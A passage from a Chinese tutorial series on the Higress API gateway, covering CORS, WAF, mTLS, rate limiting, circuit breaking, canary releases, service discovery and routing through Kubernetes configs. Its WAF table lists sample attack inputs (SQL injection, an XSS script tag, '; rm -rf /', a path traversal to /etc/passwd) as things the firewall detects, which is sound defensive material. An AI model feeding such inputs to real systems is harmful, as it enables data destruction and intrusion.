    higress.io/cors-allow-credentials: "true"
    higress.io/cors-max-age: "86400"    # 预检请求缓存 24 小时

CORS 预检请求处理

浏览器发送 OPTIONS 预检请求
   ↓
Higress 自动响应（不转发到上游）
   Access-Control-Allow-Origin: https://web.example.com
   Access-Control-Allow-Methods: GET,POST,PUT,DELETE
   Access-Control-Allow-Headers: Authorization,Content-Type
   Access-Control-Max-Age: 86400
   ↓
浏览器发送实际请求
   ↓
Higress 转发到上游，响应添加 CORS Header

WAF 防护

启用 WAF

metadata:
  annotations:
    higress.io/waf-enabled: "true"
    # OWASP CRS 规则集
    higress.io/waf-rules: "sql-injection,xss,code-injection,path-traversal"
    # 防护模式（block/log）
    higress.io/waf-mode: "block"
    # 自定义规则
    higress.io/waf-custom-rules: |
      - name: block-china
        action: block
        conditions:
          - type: ip
            operator: notIn
            values: ["CN"]
      - name: rate-limit-login
        action: limit
        rate: 10
        period: 60s
        conditions:
          - type: path
            operator: equals
            values: ["/api/login"]

WAF 防护类型

类型	说明	示例
SQL 注入	检测 SQL 关键字	`' OR 1=1--`
XSS	检测脚本标签	`<script>alert(1)</script>`
代码注入	检测系统命令	`; rm -rf /`
路径遍历	检测目录跳转	`../../etc/passwd`
CC 攻击	频率限制	1000 QPS from single IP
恶意爬虫	User-Agent 检测	`curl/wget/scrapy`

mTLS 双向认证

配置 mTLS

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: mtls-route
  annotations:
    higress.io/tls-mode: "mutual"
    # 服务端证书
    higress.io/tls-cert: "server-cert-secret"
    # CA 证书（验证客户端）
    higress.io/tls-ca-cert: "ca-cert-secret"
    # 客户端证书必须匹配
    higress.io/tls-verify-client: "required"
spec:
  ingressClassName: higress
  tls:
    - hosts:
        - secure.example.com
      secretName: server-cert-secret
  rules:
    - host: secure.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: secure-service
                port: { number: 8443 }

创建证书 Secret

# 1. 生成 CA
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt \
  -subj "/CN=MyCA/O=MyOrg"

# 2. 生成服务端证书
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr \
  -subj "/CN=secure.example.com"
openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca.key \
  -CAcreateserial -out server.crt

# 3. 创建 K8s Secret
kubectl create secret tls server-cert-secret \
  --cert=server.crt --key=server.key -n higress-system

kubectl create secret generic ca-cert-secret \
  --from-file=ca.crt -n higress-system

# 4. 生成客户端证书（给调用方）
openssl genrsa -out client.key 2048
openssl req -new -key client.key -out client.csr \
  -subj "/CN=client-app"
openssl x509 -req -days 365 -in client.csr -CA ca.crt -CAkey ca.key \
  -CAcreateserial -out client.crt

客户端调用

curl --cert client.crt --key client.key --cacert ca.crt \
  https://secure.example.com/api/data

IP 黑白名单

IP 白名单

metadata:
  annotations:
    higress.io/ip-whitelist: "192.168.1.0/24,10.0.0.100,172.16.0.0/16"

IP 黑名单

metadata:
  annotations:
    higress.io/ip-blacklist: "1.2.3.4,5.6.7.0/24"

获取真实客户端 IP

# 如果 Higress 前面有 LB（如云厂商 SLB）
metadata:
  annotations:
    higress.io/use-real-ip: "true"
    higress.io/real-ip-header: "X-Forwarded-For"
    higress.io/real-ip-recursive: "true"
    # 信任的代理数量（从右往左数）
    higress.io/trusted-proxy-count: "2"

组合安全策略

完整安全配置示例

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: secure-api
  annotations:
    # 1. IP 白名单（只允许内网）
    higress.io/ip-whitelist: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
    
    # 2. CORS（只允许指定域名）
    higress.io/enable-cors: "true"
    higress.io/cors-allow-origin: "https://admin.example.com"
    higress.io/cors-allow-methods: "GET,POST,PUT,DELETE"
    higress.io/cors-allow-credentials: "true"
    
    # 3. WAF（防 SQL 注入/XSS）
    higress.io/waf-enabled: "true"
    higress.io/waf-rules: "sql-injection,xss,code-injection"
    higress.io/waf-mode: "block"
    
    # 4. JWT 认证
    higress.io/auth-type: "jwt"
    higress.io/auth-jwt-jwks-uri: "https://auth.example.com/.well-known/jwks.json"
    higress.io/auth-jwt-issuer: "https://auth.example.com"
    higress.io/auth-white-list: "/api/health,/api/login"
    
    # 5. 限流（防暴力破解）
    higress.io/limit-rps: "100"
    higress.io/limit-by-ip: "true"
    
    # 6. mTLS（高安全场景）
    # higress.io/tls-mode: "mutual"
    # higress.io/tls-ca-cert: "ca-cert-secret"
spec:
  ingressClassName: higress
  tls:
    - hosts:
        - secure-api.example.com
      secretName: api-tls-cert
  rules:
    - host: secure-api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080

常见问题

Q1: JWT 认证返回 401

# 1. 检查 JWT 格式
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d'.' -f2 | base64 -d | jq

# 2. 验证签名（jwt.io 或命令行）
# 确认 secret/公钥正确

# 3. 检查 Claims
# - exp 是否过期
# - iss 是否匹配
# - aud 是否匹配

# 4. 查看 Higress 日志
kubectl logs -n higress-system deploy/higress-gateway | grep jwt

Q2: CORS 预检请求失败

# 1. 确认 OPTIONS 请求响应
curl -X OPTIONS -H "Origin: https://web.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -v https://api.example.com/api/data

# 2. 检查响应 Header
# Access-Control-Allow-Origin 必须匹配 Origin
# Access-Control-Allow-Methods 必须包含请求方法

# 3. 确认 allow-credentials
# 如果前端 withCredentials: true，后端必须设置 allow-credentials: true
# 且 allow-origin 不能是 *

Q3: mTLS 握手失败

# 1. 验证证书链
openssl verify -CAfile ca.crt client.crt

# 2. 检查证书有效期
openssl x509 -in client.crt -noout -dates

# 3. 检查 CN/SAN
openssl x509 -in server.crt -noout -subject -ext subjectAltName

# 4. 测试连接
openssl s_client -connect secure.example.com:443 \
  -cert client.crt -key client.key -CAfile ca.crt -debug

复习卡片

[!TIP] 快速复习清单

JWT 认证：JWKS URI / 本地密钥，验证签名 + Claims（iss/aud/exp）

OAuth2：授权码模式，Cookie 存储 Token，自动重定向

API Key：Header/Query 传递，结合限流按 Key 配额

CORS：allow-origin/methods/headers/credentials，预检请求自动处理

WAF：SQL 注入/XSS/CC 攻击防护，OWASP CRS 规则集

mTLS：双向证书验证，CA 签发服务端 + 客户端证书

IP 黑白名单：CIDR 格式，注意获取真实 IP（X-Forwarded-For）

组合策略：IP 白名单 → CORS → WAF → 认证 → 限流 → mTLS

[!TIP] 下一篇：可观测性将讲解访问日志、Metrics、Tracing、Prometheus/Grafana/SkyWalking 集成。

返回 Higress 学习路线总览 | 合集页

Higress 流量治理

Thu, 17 Sep 2026 04:30:00 GMT

[!NOTE] 流量治理是网关的核心价值。Higress 提供限流、熔断、重试、超时、灰度等能力，保障系统稳定性和发布安全。

流量治理能力全景

请求进入
   │
   ▼
┌─────────────┐
│  限流       │  ← 控制 QPS/并发，防止过载
├─────────────┤
│  熔断       │  ← 上游故障时快速失败，防止雪崩
├─────────────┤
│  重试       │  ← 瞬时故障自动重试
├─────────────┤
│  超时       │  ← 控制响应时间
├─────────────┤
│  灰度路由   │  ← 按权重/Header/Cookie 分流
├─────────────┤
│  流量镜像   │  ← 复制流量到测试环境
└─────────────┘
   │
   ▼
上游服务

限流（Rate Limiting）

全局限流

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 全局限流：1000 QPS
    higress.io/limit-rps: "1000"
    # 突发流量：允许 2000（令牌桶）
    higress.io/limit-burst-multiplier: "2"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080

按维度限流

metadata:
  annotations:
    # 按 Header 限流（每个用户独立配额）
    higress.io/limit-by-header: "X-User-ID"
    higress.io/limit-rps: "100"
    
    # 按 IP 限流
    higress.io/limit-by-ip: "true"
    higress.io/limit-rps: "50"
    
    # 按路径限流（不同 API 不同配额）
    higress.io/limit-by-path: "true"

集群限流（Redis）

# ConfigMap 配置全局集群限流
apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    rateLimit:
      redis:
        service: redis.redis.svc.cluster.local
        port: 6379
        timeout: 1000
        database: 0
      # 默认限流规则
      rules:
        - name: global-limit
          limit: 10000        # 10000 QPS
          limitByKey: "header:X-User-ID"

限流响应定制

metadata:
  annotations:
    higress.io/limit-rps: "100"
    higress.io/limit-rejected-code: "429"
    higress.io/limit-rejected-body: '{"error":"Too Many Requests","retryAfter":60}'
    higress.io/limit-rejected-header: "Retry-After:60"

熔断（Circuit Breaking）

熔断原理

状态机：
┌─────────┐  失败率 > 阈值  ┌─────────┐
│ CLOSED  │ ─────────────→ │  OPEN   │
│（正常）  │                │（熔断）  │
└─────────┘                └─────────┘
     ↑                          │
     │    探测成功               │ 超时后
     │  ←─────────────────────  ▼
     │                    ┌─────────┐
     └─────────────────── │ HALF-   │
                          │ OPEN    │
                          │（探测）  │
                          └─────────┘

熔断配置

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 熔断：连续 5 次 5xx 后熔断
    higress.io/circuit-breaker-consecutive-5xx: "5"
    # 熔断时长：30s
    higress.io/circuit-breaker-sleep-window: "30s"
    # 最小请求数（避免误判）
    higress.io/circuit-breaker-min-request-volume: "20"
    # 错误率阈值（50%）
    higress.io/circuit-breaker-error-percent: "50"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-service
                port:
                  number: 8080

熔断降级响应

metadata:
  annotations:
    higress.io/circuit-breaker-consecutive-5xx: "5"
    # 熔断时返回自定义响应
    higress.io/circuit-breaker-fallback-code: "503"
    higress.io/circuit-breaker-fallback-body: '{"error":"Service Unavailable","message":"Circuit breaker open"}'
    # 或降级到备用服务
    higress.io/circuit-breaker-fallback-service: "backup-service.default.svc.cluster.local:8080"

重试（Retry）

重试策略

metadata:
  annotations:
    # 重试次数
    higress.io/retry-count: "3"
    # 重试超时
    higress.io/retry-timeout: "10s"
    # 重试条件
    higress.io/retry-on: "5xx,reset,connect-failure,retriable-4xx"
    # 重试间隔（指数退避）
    higress.io/retry-back-off-base-interval-ms: "100"
    higress.io/retry-back-off-max-interval-ms: "1000"

重试条件详解

条件	说明
`5xx`	上游返回 5xx
`reset`	连接被重置
`connect-failure`	TCP 连接失败
`retriable-4xx`	可重试的 4xx（409 Conflict 等）
`gateway-error`	网关内部错误
`refused-stream`	上游拒绝流

不重试的场景

# POST 请求默认不重试（幂等性考虑）
# 如需强制重试：
metadata:
  annotations:
    higress.io/retry-count: "3"
    higress.io/retry-on: "5xx"
    higress.io/retry-non-idempotent: "true"   # 允许非幂等请求重试

超时（Timeout）

超时配置

metadata:
  annotations:
    # 连接超时（TCP 握手）
    higress.io/connect-timeout: "5s"
    # 请求超时（完整请求）
    higress.io/request-timeout: "30s"
    # 上游响应超时（等待首字节）
    higress.io/upstream-response-timeout: "10s"
    # 空闲超时（Keep-Alive）
    higress.io/idle-timeout: "60s"

超时层级

客户端 ←─── request-timeout ───→ Higress ←─── upstream-response-timeout ───→ 上游服务
                                     ↑
                              connect-timeout
                              （TCP 握手）

灰度发布

基于权重（金丝雀）

# 稳定版本（90%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-stable
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-stable
                port: { number: 8080 }

---
# 灰度版本（10%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-canary
  annotations:
    higress.io/canary: "true"
    higress.io/canary-weight: "10"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-canary
                port: { number: 8080 }

基于 Header（定向灰度）

# 只有 X-Env: canary 的请求才到灰度版本
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-canary-header
  annotations:
    higress.io/canary: "true"
    higress.io/canary-by-header: "X-Env"
    higress.io/canary-by-header-value: "canary"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-canary
                port: { number: 8080 }

基于 Cookie（用户灰度）

metadata:
  annotations:
    higress.io/canary: "true"
    higress.io/canary-by-cookie: "gray_user"
    # Cookie gray_user=always → 灰度
    # Cookie gray_user=never → 稳定版
    # 无 Cookie → 按权重分配

灰度发布流程

1. 部署灰度版本（api-canary）
2. 创建 Canary Ingress（权重 5%）
3. 观察监控（错误率、延迟、业务指标）
4. 逐步增加权重：5% → 20% → 50% → 100%
5. 全量后删除稳定版，重命名灰度版为稳定版
6. 清理 Canary Ingress

蓝绿部署

原理

┌─────────────┐         ┌─────────────┐
│   Blue      │         │   Green     │
│  (当前生产)  │         │  (新版本)   │
│  v1.0       │         │  v2.0       │
└─────────────┘         └─────────────┘
       ↑                       ↑
       │    切换 Ingress       │
       └───────────────────────┘
       
切换瞬间完成，回滚也只需切回 Blue

配置示例

# 初始：Blue 环境
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-blue
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-blue
                port: { number: 8080 }

---
# 部署 Green 环境后，切换 Ingress
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-green    # 新名称
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-green    # 切换到 Green
                port: { number: 8080 }

# 删除旧的 Blue Ingress
kubectl delete ingress api-blue

流量镜像（Traffic Mirroring）

适用场景

新版本测试（复制生产流量到测试环境）
A/B 测试数据收集
安全审计（复制流量到分析系统）

配置示例

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 镜像 10% 流量到测试服务
    higress.io/mirror-service: "api-test.default.svc.cluster.local:8080"
    higress.io/mirror-percent: "10"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-prod
                port: { number: 8080 }

注意：镜像请求的响应会被丢弃，不影响客户端。

实战案例

案例 1：API 网关完整流量治理

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-gateway
  annotations:
    # 限流
    higress.io/limit-rps: "1000"
    higress.io/limit-by-ip: "true"
    higress.io/limit-rejected-code: "429"
    
    # 熔断
    higress.io/circuit-breaker-consecutive-5xx: "5"
    higress.io/circuit-breaker-sleep-window: "30s"
    higress.io/circuit-breaker-error-percent: "50"
    
    # 重试
    higress.io/retry-count: "3"
    higress.io/retry-timeout: "10s"
    higress.io/retry-on: "5xx,reset,connect-failure"
    
    # 超时
    higress.io/connect-timeout: "5s"
    higress.io/request-timeout: "30s"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080

案例 2：渐进式灰度发布

# Step 1: 部署新版本
kubectl apply -f deployment-canary.yaml

# Step 2: 5% 流量
kubectl apply -f ingress-canary-5.yaml

# Step 3: 观察 10 分钟，检查监控
# - 错误率 < 1%
# - P99 延迟 < 500ms
# - 业务指标正常

# Step 4: 20% 流量
kubectl apply -f ingress-canary-20.yaml

# Step 5: 50% 流量
kubectl apply -f ingress-canary-50.yaml

# Step 6: 100% 流量（切换为主版本）
kubectl apply -f ingress-canary-100.yaml

# Step 7: 清理旧版本
kubectl delete deployment api-stable
kubectl delete ingress api-stable

常见问题

Q1: 限流不生效

# 1. 检查注解是否正确
kubectl get ingress api-route -o yaml | grep higress.io/limit

# 2. 检查 Envoy 配置
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq '.configs[] | select(.["@type"]=="type.googleapis.com/envoy.admin.v3.ListenersConfigDump")'

# 3. 确认限流维度
# limit-by-header 需要请求携带对应 Header
# limit-by-ip 需要获取真实客户端 IP（X-Forwarded-For）

Q2: 熔断频繁触发

# 1. 检查上游服务健康状态
kubectl get pods -l app=api-service
kubectl logs -l app=api-service --tail=100

# 2. 调整熔断阈值
higress.io/circuit-breaker-consecutive-5xx: "10"    # 放宽
higress.io/circuit-breaker-min-request-volume: "50" # 提高最小请求数

# 3. 查看熔断状态
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/clusters | grep circuit_breaker

Q3: 灰度发布流量分配不均

# 1. 确认 Canary Ingress 配置
kubectl get ingress -l higress.io/canary=true

# 2. 检查权重总和
# 多个 Canary Ingress 权重总和应为 100

# 3. 查看 Envoy 路由配置
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq '.configs[] | select(.["@type"]=="type.googleapis.com/envoy.admin.v3.RoutesConfigDump")'

复习卡片

[!TIP] 快速复习清单

限流：limit-rps（QPS）、limit-by-header/ip/path（维度）、Redis 集群限流

熔断：连续 5xx / 错误率阈值 → OPEN → sleep-window → HALF-OPEN → 探测

重试：retry-count、retry-on: 5xx,reset,connect-failure、指数退避

超时：connect-timeout（握手）、request-timeout（完整）、upstream-response-timeout（首字节）

灰度发布：权重（金丝雀）、Header（定向）、Cookie（用户）

蓝绿部署：两套环境，切换 Ingress，瞬间完成

流量镜像：复制流量到测试环境，响应丢弃

渐进式发布：5% → 20% → 50% → 100%，每步观察监控

[!TIP] 下一篇：安全认证将讲解 JWT/OAuth2/API Key/CORS/WAF/mTLS/IP 黑白名单等安全能力。

返回 Higress 学习路线总览 | 合集页

Higress 服务发现

Thu, 17 Sep 2026 04:00:00 GMT

[!NOTE] 服务发现是网关的核心能力。Higress 支持多种注册中心，通过 McpBridge CRD 统一配置，实现动态服务发现。

服务发现类型对比

类型	适用场景	动态更新	健康检查	配置复杂度
K8s Service	K8s 原生应用	✅	✅（K8s 内置）	⭐
Nacos	微服务（Spring Cloud/Alibaba）	✅	✅	⭐⭐
Consul	多数据中心、服务网格	✅	✅	⭐⭐⭐
Eureka	Spring Cloud Netflix	✅	✅	⭐⭐
DNS	外部服务、云厂商 LB	⚠️ 依赖 TTL	❌	⭐
静态	固定 IP、测试环境	❌	❌	⭐

K8s Service（原生支持）

自动发现

Higress 部署在 K8s 中时，自动监听所有 Service 和 Endpoint，无需额外配置。

# 只需创建 Ingress 指向 Service
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: demo-ingress
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: my-service      # K8s Service 名称
                port:
                  number: 8080

工作原理：

Higress Controller 监听 K8s API Server
   ↓
Service/Endpoint 变化 → 触发 reconcile
   ↓
转换为 Envoy Cluster + Endpoint 配置
   ↓
通过 xDS 推送到 Higress Gateway
   ↓
Envoy 动态加载（无需重启）

跨命名空间服务

# 方式 1：在 Ingress 中指定完整服务名
backend:
  service:
    name: my-service.other-namespace.svc.cluster.local
    port:
      number: 8080

# 方式 2：用 higress.io/destination 注解
metadata:
  annotations:
    higress.io/destination: "my-service.other-namespace.svc.cluster.local:8080"

Nacos 服务发现

McpBridge 配置

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: nacos-bridge
  namespace: higress-system
spec:
  registries:
    - name: nacos-prod
      type: nacos
      nacosServer: nacos.nacos.svc.cluster.local:8848
      nacosNamespaceId: prod          # 命名空间 ID（留空为 public）
      nacosGroups:
        - DEFAULT_GROUP
        - ORDER_GROUP
      nacosTimeout: 3000              # 超时（毫秒）
      # 认证（Nacos 2.x 开启鉴权时需要）
      nacosUsername: nacos
      nacosPassword: nacos

路由到 Nacos 服务

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: order-route
  annotations:
    # 关键：指定服务来源为 Nacos
    higress.io/destination: "order-service.DEFAULT-GROUP.public.nacos"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /order
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: nacos-bridge

destination 格式：{服务名}.{分组}.{命名空间}.nacos

Nacos 健康检查

Higress 自动订阅 Nacos 服务列表，Nacos 负责健康检查：

临时实例：客户端心跳（默认 5s），15s 无心跳标记不健康，30s 剔除
持久实例：服务端主动探测（TCP/HTTP/MySQL）

Consul 服务发现

McpBridge 配置

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: consul-bridge
  namespace: higress-system
spec:
  registries:
    - name: consul-prod
      type: consul
      consulServer: consul.consul.svc.cluster.local:8500
      consulDataCenter: dc1
      consulServiceTags:
        - production
        - v2
      consulToken: "your-acl-token"   # Consul ACL Token（可选）

路由到 Consul 服务

metadata:
  annotations:
    higress.io/destination: "payment-service.consul"
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /payment
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: consul-bridge

Eureka 服务发现

McpBridge 配置

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: eureka-bridge
  namespace: higress-system
spec:
  registries:
    - name: eureka-prod
      type: eureka
      eurekaServer: http://eureka.eureka.svc.cluster.local:8761/eureka
      eurekaTimeout: 3000

路由到 Eureka 服务

metadata:
  annotations:
    higress.io/destination: "user-service.eureka"

DNS 服务发现

适用场景

外部 SaaS API（api.openai.com）
云厂商负载均衡（ALB/SLB 域名）
跨集群服务（通过 DNS 解析）

McpBridge 配置

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: dns-bridge
  namespace: higress-system
spec:
  registries:
    - name: external-api
      type: dns
      domain: api.openai.com
      port: 443
      protocol: https
      dnsRefreshRate: 60              # DNS 刷新间隔（秒）
    
    - name: internal-lb
      type: dns
      domain: internal-lb.example.com
      port: 80
      protocol: http
      dnsRefreshRate: 30

路由到 DNS 服务

metadata:
  annotations:
    higress.io/destination: "external-api.dns"
spec:
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: dns-bridge

静态服务发现

适用场景

固定 IP 的后端服务
测试环境
没有注册中心的遗留系统

McpBridge 配置

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: static-bridge
  namespace: higress-system
spec:
  registries:
    - name: legacy-service
      type: static
      staticServers:
        - address: 192.168.1.100:8080
          weight: 70
        - address: 192.168.1.101:8080
          weight: 30

路由到静态服务

metadata:
  annotations:
    higress.io/destination: "legacy-service.static"

多注册中心混合使用

场景

企业同时存在：

K8s 新应用（K8s Service）
传统微服务（Nacos/Eureka）
外部 SaaS（DNS）
遗留系统（静态 IP）

配置示例

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: multi-bridge
  namespace: higress-system
spec:
  registries:
    # Nacos 注册中心
    - name: nacos
      type: nacos
      nacosServer: nacos.nacos.svc.cluster.local:8848
      nacosGroups: [DEFAULT_GROUP]
    
    # Eureka 注册中心
    - name: eureka
      type: eureka
      eurekaServer: http://eureka:8761/eureka
    
    # DNS 外部服务
    - name: openai
      type: dns
      domain: api.openai.com
      port: 443
      protocol: https
    
    # 静态遗留服务
    - name: legacy
      type: static
      staticServers:
        - address: 10.0.0.100:8080

路由分发

# K8s 服务（默认，无需 McpBridge）
- path: /api/k8s
  backend:
    service:
      name: k8s-service
      port: { number: 8080 }

# Nacos 服务
- path: /api/nacos
  annotations:
    higress.io/destination: "nacos-service.DEFAULT-GROUP.public.nacos"

# Eureka 服务
- path: /api/eureka
  annotations:
    higress.io/destination: "eureka-service.eureka"

# DNS 外部服务
- path: /api/openai
  annotations:
    higress.io/destination: "openai.dns"

# 静态服务
- path: /api/legacy
  annotations:
    higress.io/destination: "legacy.static"

服务发现健康检查

健康检查机制

注册中心	健康检查方式	检查频率	剔除策略
K8s	Readiness Probe	按 Pod 配置	Endpoint 移除
Nacos	客户端心跳 / 服务端探测	5s / 自定义	15s 标记不健康，30s 剔除
Consul	TCP/HTTP/gRPC 探测	10s（默认）	3 次失败标记 critical
Eureka	客户端心跳	30s	90s 无心跳剔除
DNS	无（依赖 DNS 解析）	TTL	解析失败即剔除
静态	Envoy 主动健康检查	可配置	可配置

Envoy 主动健康检查（静态/DNS）

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: static-with-health-check
  namespace: higress-system
spec:
  registries:
    - name: my-service
      type: static
      staticServers:
        - address: 10.0.0.100:8080
        - address: 10.0.0.101:8080
      # Higress 扩展：主动健康检查
      healthCheck:
        enabled: true
        interval: 5s
        timeout: 3s
        unhealthyThreshold: 3
        healthyThreshold: 2
        httpHealthCheck:
          path: /health
          expectedStatus: 200

常见问题

Q1: Nacos 服务发现不生效

# 1. 检查 McpBridge 状态
kubectl get mcpbridge -n higress-system
kubectl describe mcpbridge nacos-bridge -n higress-system

# 2. 检查 Higress Controller 日志
kubectl logs -n higress-system deploy/higress-controller | grep nacos

# 3. 确认 Nacos 服务已注册
curl http://nacos-server:8848/nacos/v1/ns/instance/list?serviceName=order-service

# 4. 确认网络连通性
kubectl exec -n higress-system deploy/higress-controller -- \
  curl -v http://nacos-server:8848/nacos/

Q2: 服务实例上下线延迟

# 检查 xDS 推送延迟
kubectl logs -n higress-system deploy/higress-gateway | grep "cds: update"

# 调整 Nacos 订阅推送间隔（默认 10s）
# 在 McpBridge 中设置 nacosTimeout 更短

# 检查 Envoy Endpoint 状态
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/clusters | grep order-service

Q3: 跨命名空间服务无法访问

# 确认 RBAC 权限
kubectl auth can-i list services --all-namespaces \
  --as=system:serviceaccount:higress-system:higress-controller

# 确认 Service 存在
kubectl get svc my-service -n other-namespace

# 确认 Endpoint 正常
kubectl get endpoints my-service -n other-namespace

复习卡片

[!TIP] 快速复习清单

6 种服务发现：K8s Service（原生）、Nacos、Consul、Eureka、DNS、静态

K8s Service：自动发现，无需配置，Ingress 直接指向 Service

McpBridge CRD：统一配置非 K8s 服务来源

Nacos destination 格式：{服务名}.{分组}.{命名空间}.nacos

DNS 适用场景：外部 SaaS、云厂商 LB、跨集群服务

静态适用场景：固定 IP、测试环境、遗留系统

健康检查：K8s（Readiness）、Nacos（心跳）、Consul（探测）、Envoy（主动检查）

混合使用：一个 McpBridge 可配置多个 registries

[!TIP] 下一篇：流量治理将讲解限流、熔断、重试、超时、灰度发布、金丝雀、蓝绿部署等流量管理能力。

返回 Higress 学习路线总览 | 合集页

Higress 路由配置

Thu, 17 Sep 2026 03:30:00 GMT

[!NOTE] 路由是网关的核心能力。Higress 兼容 K8s Ingress 和 Gateway API 标准，同时提供丰富的扩展注解。

路由配置方式对比

方式	标准	复杂度	功能	推荐场景
Ingress	K8s 原生	⭐⭐	基础路由 + 注解扩展	兼容现有 Ingress
Gateway API	K8s 新一代	⭐⭐⭐	功能更强、角色分离	新项目、复杂路由
Higress Console	Web UI	⭐	可视化配置	快速上手、运维

方式一：Ingress 路由

基础路由（域名 + 路径）

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: demo-ingress
  namespace: default
  annotations:
    higress.io/destination: "httpbin.default.svc.cluster.local:80"
spec:
  ingressClassName: higress
  rules:
    - host: demo.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: httpbin
                port:
                  number: 80

测试：

curl -H "Host: demo.example.com" http://<gateway-ip>/api/get

路径匹配类型

pathType	说明	示例
Exact	精确匹配	`/api/v1/users` 只匹配该路径
Prefix	前缀匹配	`/api` 匹配 `/api`、`/api/v1`、`/api/v2`
ImplementationSpecific	实现相关	Higress 支持正则（见下文）

正则路径匹配（Higress 扩展）

metadata:
  annotations:
    higress.io/use-regex: "true"
    higress.io/rewrite-target: /$1
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-service
                port:
                  number: 8080

效果：

/api/users → 转发到 /users
/api/orders/123 → 转发到 /orders/123

Header 匹配

metadata:
  annotations:
    higress.io/header-match: "X-Env:gray"
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-gray
                port:
                  number: 8080

效果：只有 X-Env: gray 的请求才路由到 gray 服务。

Query 参数匹配

metadata:
  annotations:
    higress.io/query-match: "version:v2"
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-v2
                port:
                  number: 8080

效果：/api?version=v2 路由到 v2 服务。

方式二：Gateway API 路由

Gateway + HTTPRoute

# 1. 定义 Gateway（监听端口）
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: demo-gateway
  namespace: higress-system
spec:
  gatewayClassName: higress
  listeners:
    - name: http
      protocol: HTTP
      port: 80
      allowedRoutes:
        namespaces:
          from: All

---
# 2. 定义 HTTPRoute（路由规则）
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: demo-route
  namespace: default
spec:
  parentRefs:
    - name: demo-gateway
      namespace: higress-system
  hostnames:
    - "api.example.com"
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /api/v1
          headers:
            - name: X-Env
              value: prod
      filters:
        - type: RequestHeaderModifier
          requestHeaderModifier:
            add:
              - name: X-Routed-By
                value: higress
        - type: URLRewrite
          urlRewrite:
            path:
              type: ReplacePrefixMatch
              replacePrefixMatch: /v1
      backendRefs:
        - name: api-service
          port: 8080
          weight: 90
        - name: api-service-canary
          port: 8080
          weight: 10

Gateway API 优势：

